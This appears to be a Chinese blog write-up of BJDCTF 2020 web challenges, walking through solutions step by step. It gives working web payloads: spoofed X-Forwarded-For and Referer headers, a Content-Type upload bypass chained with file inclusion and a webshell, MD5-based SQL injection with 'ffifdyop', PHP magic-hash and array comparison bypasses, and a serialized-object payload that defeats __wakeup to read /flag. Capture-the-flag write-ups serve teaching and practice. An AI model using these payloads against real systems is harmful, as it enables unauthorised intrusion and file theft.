BJDCTF 2020 webWP
发布时间:2020/06/05 作者:linmoumou 浏览(375) 评论(21) 分类【CTF】 文章来源:博主原创
hello_world
进去提示注意id;
抓包在响应包里面有id: guestZ3Vlc3Q=
在请求包里加一个id:adminYWRtaW4=
又说要主句访问加x-forwarded-for:127.0.0.1
又说要来自谷歌加referer:https://google.com得到
easy_upload
文件上传,只能传jpg
改Content-Type: image/jpeg
服务器会强制把文件后缀改了,
存在文件包含访问
http://222.186.56.247:8103/index.php?action=uploads/2f7b62c8102c7b5ce39864be3f9f578c.jpg
蚁剑连上,cat /flag得到flag
Hidden secrets
随便输个密码抓包,在响应包里有个password字段里面是个md5解密是112233,去登录,第一次进去退出来再登,他把键盘和鼠标右键禁用了,用view-source:查看源代码,拉到最下面就好了
easy_md5
进去一个输入框,随便输抓包,响应包头里hint: select * from 'admin' where password=md5($pass,true)
MD5加密后的SQL 注入
用字符串
ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串: 'or'6
输入之后跳到另一个页面右键源代码
x$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
//wow,you can really dance
php弱类型比较
拿两个MD5之后等于0的过来
payload:http://222.186.56.247:8102/levels91.php?a=s155964671a&b=s214587387a
又到下一个页面
xxxxxxxxxx
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
MD5碰撞
payload:param1[]=1a¶m2[]=2
就可以绕过了
常规解法两个不一样的字符串md5之后的值相等写脚本跑一个出来
这序列化也太简单了吧
xxxxxxxxxx
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag in /flag
class Flag{
public $file;
public function __wakeup(){
$this -> file = 'woc';
}
public function __destruct(){
print_r(file_get_contents($this -> file));
}
}
$exp = $_GET['exp'];
$new = unserialize($exp);
payload:?exp=O:4:"Flag":2:{S:4:"file";s:5:"/flag";}
关键字词:BJD,BJDCTF,CTF,WEB,WP